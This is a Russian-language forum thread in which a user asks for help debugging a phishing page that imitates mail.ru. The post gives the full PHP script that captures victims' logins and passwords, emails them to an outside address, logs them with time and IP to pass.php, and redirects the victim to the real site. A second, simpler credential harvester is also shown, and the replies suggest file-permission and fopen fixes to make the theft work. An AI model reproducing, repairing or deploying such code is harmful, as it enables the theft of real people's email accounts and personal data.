Добрый всем форумчанам день. В курсе что на форуме запрещены продажа фейков, но разрешаются их обсуждение. У меня такой вопрос, имеется фейк на валид и защитой от повтора на майл.ру, валид работает 100 %, отправляет запрос, если пароль не правильный веден то обратно возвращает на страницу фейка, если правильно то застывает на xxx.php функции которой является записи данных и отправка жертвы на нужную страницу. Вот сам скрипт записи данных: Code: <?PHP Error_Reporting(E_ALL & ~E_NOTICE); $Login = $_POST['Login']; $Domain = $_POST['Domain']; $Pass = $_POST['Password']; $from = "*******@mail.ru"; $to = "******@ne4ego.net"; $subj = " Данные: $Login@$Domain"; $body = " Логин:$Login@$Domain Пароль:$Pass"; $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"; $from=convert_cyr_string($from,"w","k"); $to=convert_cyr_string($to,"w","k"); $subj=convert_cyr_string($subj,"w","k"); $body=convert_cyr_string($body,"w","k"); mail($to,$subj,$body,$from); $c = "$Login@$Domain:$Pass"; $fp = fopen("pass.php","a+"); fwrite($fp,"\n [start-- $c -- end] \n"); fclose($fp); header("Location: http://win.mail.ru/cgi-bin/start"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?top=1">" ?> <?php $time = date("d.m.Y G:i.s"); $ip = $_SERVER['REMOTE_ADDR']; $fd = fopen("pass.php", "a+"); fwrite($fd, "$time---$ip\n"); fclose($fd); ?> Код писал друг. Сам в пхп разбираюсь на уровне новичка, искал ошибку, но так и не нашел, на другом хостинге все было ок. Прощу подсказать где ошибка?
права на pass.php поставь 777 а вобще странный метод какой-то... в .php записывать... хотя если там <?php die(); ?> в начале, то ладно
Права поставил, бесполезно, не понимаю в чем ошибка. Даже другие скрипты от других фейков не работают, даже самый просто код Code: <?PHP $Log = $_POST['login']; $Pass = $_POST['password']; $log = fopen("file.txt","at"); fwrite($log,"\n $Log:$Pass \n"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=******************'></head></html>"; ?> бесполезен, у другана на том же хостинге все ок пашет, но посмотрел у него фейк по другому написан и не понял как отуда вытащить то что мне нужно.
замени на $log = fopen("file.txt","w+"); либо используй аналог file_put_contents( 'pass.php', ' context ', FILE_APPEND );